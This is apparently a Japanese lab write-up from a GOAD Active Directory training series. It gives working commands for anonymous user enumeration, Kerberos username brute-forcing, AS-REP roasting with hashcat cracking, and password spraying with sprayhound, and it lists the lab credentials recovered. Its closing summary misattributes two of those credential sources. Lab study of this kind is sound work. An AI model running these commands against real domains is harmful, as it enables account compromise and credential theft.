banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

アクティブディレクトリのゲーム(GOAD)パート2 ユーザーを検索

game-of-active-directoryGOAD-part-1でいくつかの一般的な設定とポート情報の収集を行った後、第二部の内容を学び、ユーザー情報を収集し、いくつかの資格情報を収集してみます。

image

vagrant upでスリープ中のマシンを起動

CME 列挙#

DC02:192.168.56.11

cme smb 192.168.56.11 --users

image

Samwell Tarly ユーザーに関するヒントがあります。Password : Heartsbane

ドメインパスワードポリシーを取得

crackmapexec smb 192.168.56.11 --pass-pol

image

パスワードポリシーを確認すると、5 分以内に 5 回ログインに失敗すると、5 分間ロックされます。

enum4linux 列挙#

enum4linux 192.168.56.11

enum4linux も cme と同様に、ユーザー情報を列挙できます。

image

パスワードポリシー

image

ドメイングループメンバーを列挙することもできます。

image

rpc 呼び出し#

image

匿名リストは、winterfell というデバイス(IP アドレスは 192.168.56.11)でリモートプロシージャコールを実行することで実現されます。同様に、rpcclient ツールを使用して直接この操作を行うこともできます。

$ rpcclient -U "NORTH\\" 192.168.56.11 -N
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[arya.stark] rid:[0x456]
user:[sansa.stark] rid:[0x45a]
user:[brandon.stark] rid:[0x45b]
user:[rickon.stark] rid:[0x45c]
user:[hodor] rid:[0x45d]
user:[jon.snow] rid:[0x45e]
user:[samwell.tarly] rid:[0x45f]
user:[jeor.mormont] rid:[0x460]
user:[sql_svc] rid:[0x461]
rpcclient $> enumdomgroups
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44f]
group:[Stark] rid:[0x452]
group:[Night Watch] rid:[0x453]
group:[Mormont] rid:[0x454]
rpcclient $> 

すべてのドメインユーザーを取得

# NORTHドメインのDomain Usersグループのメンバーをリストし、IPアドレス192.168.56.11に接続し、匿名ユーザーとして実行します。
net rpc group members 'Domain Users' -W 'NORTH' -I '192.168.56.11' -U '%'

image

匿名セッションが許可されていない場合、DC の匿名セッションを列挙#

Winterfell ドメインコントローラーは匿名接続を許可しており、これがドメインユーザーとグループを列挙できる理由です。しかし、今日ではこのような設定はほとんど見られません。(逆に、ユーザーの説明にパスワードが含まれていることはかなり一般的です。)

私たちは依然としてブルートフォース列挙を通じて有効なユーザーを列挙できます。

1、辞書を作成

HBO からダウンロードしたものです。

# 現在このコマンドはダウンロードできません
curl -s https://www.hbo.com/game-of-thrones/cast-and-crew | grep 'href="/game-of-thrones/cast-and-crew/'| grep -o 'aria-label="[^"]*"' | cut -d '"' -f 2 | awk '{if($2 == "") {print tolower($1)} else {print tolower($1) "." tolower($2);} }' > got_users.txt

以下の辞書が得られます。

robert.baratheon
tyrion.lannister
cersei.lannister
catelyn.stark
jaime.lannister
daenerys.targaryen
viserys.targaryen
jon.snow
robb.stark
sansa.stark
arya.stark
bran.stark
rickon.stark
joffrey.baratheon
jorah.mormont
theon.greyjoy
samwell.tarly
renly.baratheon
ros
jeor.mormont
gendry
lysa.arryn
robin.arryn
bronn
grand.maester
varys
loras.tyrell
shae
benjen.stark
barristan.selmy
khal.drogo
hodor
lancel.lannister
maester.luwin
alliser.thorne
osha
maester.aemon
talisa.stark
brienne.of
davos.seaworth
tywin.lannister
stannis.baratheon
margaery.tyrell
ygritte
balon.greyjoy
roose.bolton
gilly
podrick.payne
melisandre
yara.greyjoy
jaqen.h’ghar
grey.worm
beric.dondarrion
missandei
mance.rayder
tormund
ramsay.snow
olenna.tyrell
thoros.of
orell
qyburn
brynden.tully
tommen.baratheon
daario.naharis
oberyn.martell
myrcella.baratheon
obara.sand
nym.sand
tyene.sand
high.sparrow
trystane.martell
doran.martell
euron.greyjoy
lady.crane
high.priestess
randyll.tarly
izembaro
brother.ray
archmaester.ebrose

このユーザー辞書を使用して、meereen.essos.localドメインコントローラーとkingslanding.sevenkingdoms.localで試してみましょう。

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=got_users.txt" 192.168.56.10

image

sevenkingdoms.local で 7 人の有効なユーザーが得られました。

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='essos.local',userdb=got_users.txt" 192.168.56.12

image

essos.local で 5 人の有効なユーザーが見つかりました。

nmapのページでは次のように説明されています:

さまざまな可能なユーザー名を試すことで有効なユーザー名を特定し、Kerberos サービスにクエリを実行します。要求されたユーザー名が存在しない場合、サーバーは Kerberos エラーコードKRB5KDC_ERR_C_PRINCIPAL_UNKNOWNを返し、そのユーザー名が無効であることがわかります。有効なユーザー名の場合、サーバーは AS-REP 応答を介して TGT を送信するか、エラーKRB5KDC_ERR_PREAUTH_REQUIREDを返し、ユーザーが事前認証を必要とすることを示します。

全体として、ユーザーパスワードをブルートフォース攻撃する際、badpwdcount の値は上昇しません(crackmapexec で badpwdcount の値は確認できません)。

image

smb 共有#

smb 共有を確認します。

image

匿名共有を探します。

cme smb 192.168.56.10-23 -u 'a' -p '' --shares

image

読み書き可能な匿名共有リソースがいくつか見つかりました。

現在ユーザーはいますが、資格情報はありません#

現在、ユーザーリストを持っているので、次のステップは彼らのパスワードを取得することです。

image

ASREP - ロースティング#

以前に見つけたユーザー名を含む users.txt ファイルを作成しました。

sql_svc
jeor.mormont
samwell.tarly
jon.snow
hodor
rickon.stark
brandon.stark
sansa.stark
robb.stark
catelyn.stark
eddard.stark
arya.stark
krbtgt
vagrant
Guest
Administrator

今、impacket ツールを使用してすべてのユーザーに AS-REP 攻撃を実行してみましょう。

GetNPUsers.py north.sevenkingdoms.local/ -no-pass -usersfile users.txt

image

brandon.stark アカウントへのアクセス権を取得しました。ユーザーは Kerberos 事前認証メカニズムを有効にしていないため、これを解読してみます。

hashcat -m 18200 hashs.txt rockyou.txt

image

現在、2 つのアカウントのパスワードが得られました。

brandon.stark:iseedeadpeople
Samwell Tarly:Heartsbane

パスワードスプレー#

従来のユーザー名とパスワードの検証テストを行うことができます。

crackmapexec smb 192.168.56.11 -u user.txt -p user.txt --no-bruteforce

image

sprayhoundを使用できます。

sprayhound をインストールします。

sudo apt-get install libsasl2-dev python3-dev libldap2-dev libssl-dev
git clone https://github.com/Hackndo/sprayhound.git
cd sprayhound
python3 setup.py install
sprayhound -U user.txt -d north.sevenkingdoms.local -dc 192.168.56.11 --lower

image

有効なユーザーの身分を使用してアカウントロックの問題を回避することができます(-t オプションを使用して残りの試行回数を設定します)。

sprayhound -U user.txt -d north.sevenkingdoms.local -dc 192.168.56.11 -lu hodor -lp hodor --lower -t 2

現在、次の 3 組の資格情報が得られました。

  • brandon.stark(ユーザー説明から取得)
  • Samwell Tarly(asreproasting から取得)
  • hodor(パスワードスプレーから取得)

この章は終了です。vagrant suspendを使用して仮想マシンを一時停止します。仮想環境の/GOAD/ad/GOAD/providers/virtualboxで vagrant を実行する必要があります。

image

image

参考:
https://mayfly277.github.io/posts/GOADv2-pwning-part2/
カバー画像は:https://wallhaven.cc/w/3lj6z9

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。